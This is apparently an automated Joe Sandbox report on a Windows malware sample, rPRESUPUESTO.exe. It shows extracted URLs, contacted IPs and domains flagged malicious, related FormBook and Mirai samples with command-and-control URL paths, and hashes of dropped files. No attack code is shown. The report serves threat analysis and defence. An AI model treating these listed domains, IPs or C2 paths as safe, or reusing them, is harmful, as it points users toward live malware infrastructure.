https://faq.active24.com/cz/939671-Fakturace-a-platby	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/dnssec	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/font/active24-icons.ttf	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/klientska-zona/zakaznicka-podpora	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/757409-Bezpe%c4%8dnost	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/dns.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.active24.cz//	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww7.europedriveguide.com/2pcd/?4dV43tA=tIH23YAAyU0vk1VwVlLsnDkrzub9KGyrHgMKKMQURaOCIZhbg0Upzh	ktmutil.exe, 00000009.00000002.4589157081.000000000467A000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.000000000465A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gui.active24.cz/img/default-domain/superpage.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	rPRESUPUESTO.exe	false	URL Reputation: safe	unknown
https://faq.active24.com/cz/920729-Dom%c3%a9ny-a-DNS	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/objednavka/login	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webmail.active24.com/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gui.active24.cz/img/default-domain/image.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mysql.active24.com/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/css/landing.css	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-144x144.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/redirect.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/notify.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-favicon-192x192.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/a24-apple-favicon-72x72.png	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com	MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.superstranka.cz/	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.active24.com/spoluprace	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.com/upozorneni	ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
122.10.13.122	2xin3.zhanghonghong.com	Hong Kong	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
74.208.236.72	www.transelva.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
121.254.178.238	www.b6fbly7u.shop	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
192.207.62.21	225.jtrhc.fun	United States	394180	HOSTBREWUS	true
72.52.179.174	www.europedriveguide.com	United States	32244	LIQUIDWEBUS	true
192.227.175.142	www.coinmao.com	United States	36352	AS-COLOCROSSINGUS	true
199.59.243.226	www.mommysdaycare.net	United States	395082	BODIS-NJUS	true
203.161.62.199	www.quantumvoil.xyz	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
109.123.121.243	www.rlplatro.sbs	United Kingdom	13213	UK2NET-ASGB	true
103.224.182.246	www.atmpla.net	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
31.186.11.254	genesiestudios.online	Turkey	199484	BETAINTERNATIONALTR	true
45.207.12.95	www.203av.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
81.95.96.29	www.hydrogenmovie.com	Czech Republic	25234	GLOBE-AShttpwwwactive24czCZ	true
47.242.109.15	www.xsemckm.sbs	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465409
Start date and time:	2024-07-01 16:14:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rPRESUPUESTO.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/7@16/14
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 94% Number of executed functions: 117 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, ocsp.usertrust.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, crl.usertrust.com, ocsp.comodoca.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MqDMLUHvZmSMqiwTfIsHo.exe, PID 5908 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rPRESUPUESTO.exe

Simulations

Behavior and APIs

Time	Type	Description
10:15:11	API Interceptor	38x Sleep call for process: rPRESUPUESTO.exe modified
10:15:16	API Interceptor	15x Sleep call for process: powershell.exe modified
10:16:10	API Interceptor	11591734x Sleep call for process: ktmutil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
122.10.13.122	ORS51123MQ90EI.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.b3622.com/plo0/?V0jtHFpx=anGHQVCrc4SqssYdRkTliFNXqZAWz/5sOo2hBlc3q+BNseT04x1FGTnEuxBnNEaeqsRJF0fXaeNNKZRktI/en319nJ0Pan9rrQ==&fVNT=znDXT2Wpr
122.10.13.122	Request_List.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.b3622.com/oiwu/?Jz0HU=bu9tjx1KriJdp6g4n3nfiJpyoBqItJaXkdLNaTp0zc/40YeFGlTdEXP3IR2WurMK/sFXp/7XII3NTl1GojnQZ1Uh9Nv2gNX8eA==&M4=XF_T
74.208.236.72	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	www.transelva.com/edi4/
121.254.178.238	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	www.b6fbly7u.shop/vjxp/
	REVISED_SOA_USD44,000.exe	Get hash	malicious	FormBook	Browse	www.b6fbly7u.shop/qhw3/?wbG4hna=SzfoKa6oAy2ssRW1E/1BdlOXWzVQSPZ4GsRIyBDsYVs0f/1x7fdErOnRj+igVmDJhgwAN6+7arq6rcNzYuHWNaY6s3vxchoLMA==&sp=HZv8HZP0uNAPmdd
	SSLTD.xls	Get hash	malicious	FormBook	Browse	www.b6fbly7u.shop/o868/?FXW0=zS19T6e++UH+oAABRLFYifYOxGKk47oPHgJrQ8aZEEEISs0rVDEalaIhFKAwQZETKn5Y0sUhnp8Yz6GVX+HHtJ1vqNbEVleKhR8kqhc=&MtV=KvXpxj
192.207.62.21	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	www.gsdaluan.shop/8urb/
	PIG860624BF1GE1532.xml.exe	Get hash	malicious	FormBook	Browse	www.xehairen.icu/q696/
	Yemenittiskes.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vgjimei.icu/a8pp/
	pp0fHVNbib.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vgjimei.icu/a8pp/
	ulACwpUCSU.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.vgjimei.icu/a8pp/
	12nTpM7hB1.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.xehairen.icu/q696/
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	www.xehairen.icu/q696/
72.52.179.174	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	www.europedriveguide.com/67iq/
	mEESdHRhbB.exe	Get hash	malicious	FormBook	Browse	www.europedriveguide.com/67iq/
	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	www.europedriveguide.com/2pcd/
	http://bonalluterser.com/	Get hash	malicious	Unknown	Browse	ww99.bonalluterser.com/
	file.exe	Get hash	malicious	CMSBrute	Browse	runfoxyrun.com/admin/
	http://dohigu.com	Get hash	malicious	Unknown	Browse	ww99.dohigu.com/
	http://zacharryblogs.com	Get hash	malicious	Unknown	Browse	ww99.zacharryblogs.com/
	spug64.exe	Get hash	malicious	Simda Stealer	Browse	gatyhub.com/login.php
	raidcall-7-3-6-es-en-br-de-win.exe	Get hash	malicious	Unknown	Browse	www.raidtalk.com/client/medal/medal_config.php?ver=&lang=en-us
	LloUcldOtM.exe	Get hash	malicious	FormBook	Browse	www.imikimi.nl/dmpz/?D488l2=r0bdDsLIiyTKJ3IVtqHlZy20iySfPAC9GQaTAhOWhGtoAjSiw20W7ibYi253e3/z6yB2kTlyXMaTZQskGHpyG05mqqWKjLdt0g==&8pTd=d85xeTfP5L54klq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.quantumvoil.xyz	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	203.161.62.199
	DHL Consigment_pdf.exe	Get hash	malicious	FormBook	Browse	203.161.62.199
	DHL Overdue Account Notice-1301645540.exe	Get hash	malicious	FormBook	Browse	203.161.62.199
	Quotation.exe	Get hash	malicious	FormBook, NSISDropper	Browse	203.161.62.199
	Quotation_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	203.161.62.199
2xin3.zhanghonghong.com	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	122.10.13.122
	ORS51123MQ90EI.exe	Get hash	malicious	FormBook, GuLoader	Browse	122.10.13.122
	Request_List.exe	Get hash	malicious	FormBook, GuLoader	Browse	122.10.13.122
225.jtrhc.fun	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	192.207.62.21
	NEW_ORDER_LIST.exe	Get hash	malicious	FormBook	Browse	8.217.154.16
	Quotation-3927377773.exe	Get hash	malicious	FormBook	Browse	8.217.154.16
	SWIFT-PYT.exe	Get hash	malicious	FormBook, zgRAT	Browse	8.217.65.182
	New_Purchase_Order.exe	Get hash	malicious	FormBook, GuLoader	Browse	8.217.65.182
	CI890892.6409410669pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	8.217.65.182
	Quotation.exe	Get hash	malicious	FormBook, NSISDropper	Browse	8.217.65.182
	transf_LAB.REALpdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	8.217.65.182
	Quotation_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	8.217.65.182
	CtTZm1DHG4A9nbE.exe	Get hash	malicious	FormBook	Browse	8.217.65.182
www.mommysdaycare.net	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	MOfdzIVSmy.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.59.243.225
	SecuriteInfo.com.Win32.PWSX-gen.8428.27403.exe	Get hash	malicious	FormBook	Browse	199.59.243.225
	OD.exe	Get hash	malicious	FormBook	Browse	199.59.243.225
www.coinmao.com	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	192.227.175.142
www.coinmao.com	New_Purchase_Order.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.129.52
www.atmpla.net	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	103.224.182.246

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIQUIDWEBUS	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	72.52.179.174
	SecureMessageAtt.html	Get hash	malicious	Unknown	Browse	209.59.158.95
	mEESdHRhbB.exe	Get hash	malicious	FormBook	Browse	72.52.179.174
	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	72.52.179.174
	http://slwgs.org	Get hash	malicious	Unknown	Browse	67.225.191.147
	http://www.versa-valves.com	Get hash	malicious	Unknown	Browse	192.190.221.134
	http://10f6d83.wcomhost.com/	Get hash	malicious	Unknown	Browse	67.225.220.126
	t5SYVk0Tkt.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	173.199.172.26
	UDxMi3I3lO.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	64.91.253.60
	TL6bE5Uq4y.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	64.91.253.60
ONEANDONE-ASBrauerstrasse48DE	yaM8XR1HfL.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	217.160.0.1
	https://www.asarco.com/	Get hash	malicious	Unknown	Browse	74.208.236.164
	Att0027592.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	AWB 112-17259653.exe	Get hash	malicious	FormBook	Browse	217.160.0.144
	scan19062024.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	217.160.0.130
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	217.160.0.130
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	74.208.236.247
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	212.227.172.254
LGDACOMLGDACOMCorporationKR	RDEHNTKF1V.elf	Get hash	malicious	Mirai, Moobot	Browse	210.102.145.14
	s4WsI8Qcm4.elf	Get hash	malicious	Mirai, Moobot	Browse	58.78.9.182
	AvLj9c169F.elf	Get hash	malicious	Mirai, Moobot	Browse	211.43.219.246
	owONvNMYXu.elf	Get hash	malicious	Mirai	Browse	112.219.101.195
	wGkT1MeX0l.elf	Get hash	malicious	Mirai	Browse	106.254.246.254
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	1.223.163.231
	gErAvW63Ax.elf	Get hash	malicious	Mirai	Browse	211.169.7.8
	SHn7OPnmZC.elf	Get hash	malicious	Mirai	Browse	121.66.21.211
	aDOclS4aUu.elf	Get hash	malicious	Mirai, Moobot	Browse	202.31.32.207
	DRKi1Olgjp.elf	Get hash	malicious	Mirai, Moobot	Browse	211.168.191.62
DXTL-HKDXTLTseungKwanOServiceHK	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	V7UaNBrX72.elf	Get hash	malicious	Mirai, Moobot	Browse	45.193.98.136
	botx.x86.elf	Get hash	malicious	Mirai	Browse	154.80.147.150
	rCjg912Ssb.elf	Get hash	malicious	Mirai	Browse	103.92.9.210
	mEESdHRhbB.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	SWU5109523I.exe	Get hash	malicious	FormBook, Lokibot	Browse	154.214.114.86
	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	45.207.12.95
	arm7-20240623-2204.elf	Get hash	malicious	Mirai	Browse	156.235.142.166
	gtMzliIYIc.elf	Get hash	malicious	Mirai, Moobot	Browse	154.219.221.18
	8G8Sb4x61K.elf	Get hash	malicious	Mirai	Browse	156.235.217.22
HOSTBREWUS	Invoice_Payment.exe	Get hash	malicious	FormBook	Browse	192.207.62.21
	PIG860624BF1GE1532.xml.exe	Get hash	malicious	FormBook	Browse	192.207.62.21
	Yemenittiskes.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.207.62.21
	pp0fHVNbib.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.207.62.21
	ulACwpUCSU.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.207.62.21
	12nTpM7hB1.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	192.207.62.21
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	192.207.62.21
	odSNe417qU.elf	Get hash	malicious	BillGates	Browse	192.207.62.45
	wow.exe	Get hash	malicious	Metasploit	Browse	74.114.158.110

Process:	C:\Users\user\Desktop\rPRESUPUESTO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	5.345358309061185
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRaKIE4oKNzKoZAE4Kze0E4VE4x84j:MIHK5HKH1qHiYHKh3oPHKMRatHo6hAHQ
MD5:	215B3562F83C4FB9BBB129D2F9E59ADA
SHA1:	0534A53F6F42ECA7E56EB02E328A2025254AC511
SHA-256:	4CF4451F940D8D730D8209079E1404A1EAD1A36C33E69AB8AE43E0E7D33B4450
SHA-512:	E09A97CE89258E1BCDA4832E1348720EBCD462E0C81736CCAD8D99AB1AC60ECBAF5E1F552C4F0977F498D25E27739197D2A9C1EFFDEB7116020D106231EB7C43
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fc

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379736180876081
Encrypted:	false
SSDEEP:	48:tWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZmUyus:tLHyIFKL3IZ2KRH9Ouggs
MD5:	E4532FAC52FB479867BAF60958F8E50C
SHA1:	6736C4FA0AFCE32F8E206C7F414A902A96A45E5B
SHA-256:	E1475E82065BB6BAD4E6C71F033E48B8DEEB85FACB251FC1D098E4D22AB6F7FB
SHA-512:	506DC2488F6E6824D763CE955B276705DC4BD0218024A6C03FF369B1221484F4E0CA09062432D1C0017704F2EC5276AEFD0DFB4F8D3AFDE6750BBBEED4B4B48A
Malicious:	false
Reputation:	low
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\07c402-5

Process:	C:\Windows\SysWOW64\ktmutil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

